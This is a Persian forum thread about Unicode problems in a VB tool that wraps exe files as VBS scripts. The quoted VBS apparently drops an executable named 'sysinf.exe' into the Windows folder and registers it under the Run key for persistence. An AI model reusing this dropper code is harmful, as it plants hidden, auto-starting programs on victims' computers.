ايران ويج

نسخه‌ی کامل: مشکل من با یونیکد
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
سلام به دوستان عزیز
یکی از دوستان تو ایران ویج یه سورس قرار داده بود که باهاش میشه فایل های exe رو به vbs تبدیل کرد اما فایل خرورجی اون تابع یونیکد سیستم است و فقط بر روی یونیکد اینگلیسی جواب میده.

این برنامه از chr استفاده کرده و موقع برگشت اگه سیستم رو یونیکد فارسی باشه مثلا chr(144) رو حرف "گ" بر میگردونه ولی اگر انگلیسی باشه چیز دیگه ای بر میگردونه و همین امر مشکل ایجاد کرده.
لطفا خودتون سورس رو ببینید:

دانلود سورسِ

ممنون میشم اگر بتونید مشکل من رو حل کنید. Shy Heart
سلام
برای تبدیل یونی کد داخل وی.بی میتونی از دستور strconv و از دستورهای ascw و chrw برای کار با اعداد یونی کدی استفاده کنی. همینطور میتونی از توابع API ؛ widechartomultibyte و MultiByteToWideChar استفاده کنی
ممنون از راهنماییت ولی کد فایل VBS ی که برنامه میسازه به غیر از اولش که آرایه ای از بایت های فایل اولیه من درست کرده این شکلی هست:

Dim Fso, WshShell
Set WshShell = CreateObject("WScript.Shell")
Set Fso = CreateObject("Scripting.FileSystemObject")
Trj = Fso.GetSpecialFolder(WindowsFolder)
Trj = Trj + "\sysinf.exe"
WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\key", Trj, "REG_SZ"
Set F = Fso.OpenTextFile(Trj, 2, True)
Dim i
For i=0 To UBound(Rs)
F.write Chr(Rs(i))
Next
F.Close()

من اومدم تو خط 3 تا مونده به آخر بجای F.write Chr(Rs(i)) این خط رو نوشتم:

F.write StrConv(Chr(Rs(i)), vbUnicode)

ولی ایندفعه فایلی که ساختش 0 بایت بود و باز هم عمل نکرد .
باید چیکار کنم؟
سلام من یه نمونه ذخیره متن یونی کد رو سایتم داخل وی.بی گذاشتم. میتونی از اون استفاده کنی. اما در مورد FSO باید یکم صبر کنی. چون بکل یادم رفته. فکر نکنم ثابت vbunicode داخل FSO جواب بده تا اونجا که یادم میاد یه پارامتر به اسم یونی کد از نوع بولی داخل خود FSO هستش

http://www.ps-ware.net/index.php?option=...&Itemid=51
سلام عزیز، بازم ممنون بخاطر کمک هات.
من سورس شما رو گرفتم و بجای FSO از همون Open Path For Output As #1 استفاده کردم اما بازم جواب نگرفتم.

بعدش رفتم دنبال حرف شما که گفته بودی با یه مقدار بولی میشه یه مقدار یونیکدی رو ذخیره کرد و از تو گوگل مقاله ای رو پیدا کردم که مطابق حرف شما این حرف رو زده بود اما گفته بود که تو CreateTextFile میشه این کار رو کرد.
منم تو سورس بجای OpenTextFile رو قرار دادم، مقدار بولین اون رو هم True کردم اما وقتی برنامه رو اجرا کردم به دوتا مشکل برخوردم:
1. حجم فایل exe ای که به برنامه داده بودم 16 کیلوبایت بود اما حجم فایلی که VBS می ساخت دو برابر یعنی 32KB بود.

2. موقعی که فایل ساخته شده ( یعنی همون جدیده که VBS ساخته بود و حجمش 2 برابر شده بود ) رو اجرا کردم یه صفحه داس باز شد و پیغام غیرمجاز بودن دستور عمل های فایل رو میداد :

[attachment=493]

اینم اون مقاله ای که در رابطه با FSO پیدا کردم:
http://www.aivosto.com/visdev/fso.html


اگه یادت اومد دست ما رو هم بگیر. Heart
سلام
این فقط برای فایلهای متنی مثل txtها جواب میده . فایلهای باینری مثل فایلهای exe رو خراب میکنه. یادت باشه یونی کد داخل فایلهای exe فقط زمان کامپایل اونها باید تنظیم شه نه بعد از کامپایل. مثلا داخل C برای ساخت یه برنامه یونی کد از دستورهای زیر استفاده میشه.

#ifdef UNICODE
#define CreateWindowEx CreateWindowsExW
#else
#define CreateWindowEx CreateWindowExA
#endif

داخل ویژوال بیسیک امکان ساخت برنامه های یونی کد وجو نداره. چون کامپایلر اون نمیتونه از یونی کد به صورت ذاتی پشتیبانی کنه. اما داخل VB.net برنامه‌ها دارای UI یونی کد هستن و تمامی برنامه بر اساس یونی کد ساخته میشه. به همین علت برنامه‌های دات نتی که از caltureهای به غیر از انگلیسی استفاده میکنن رو ویندوز 98 اجرا نمیشن.

در مورد دو برابر شدن حجم فایل بهتره مقاله زیر رو بخونی. تا علتشو بدونی.
http://www.ps-ware.net/index.php?option=...&Itemid=47

اما پیام خطا میتونه برای سرویسهای امنیتی ویندوز باشه. چون اکثر ویروسها که با ایمیل پخش میشن از FSO برای انتشار خودشون استفاده میکنن.

مقاله بسیار جالبی بود.
بخاطر کمکهات واقعا ممنونم. :*
سلام من یک یاهو مسنجر ساده درست کردم اما نمیسه متن فارسی فزستاد کسی می دونه چه جوری به unicode تبدیل کرد تا بشه فارسی چت کرد
سلام از این دستورات ,chrw , Strconv استفاده کردم به این شکل
a=chrw(1752)
و a رو میفرستم هسچی ارسال نمی شه
اگه کسی میئونه بم بگه
laanat bar harchi unicode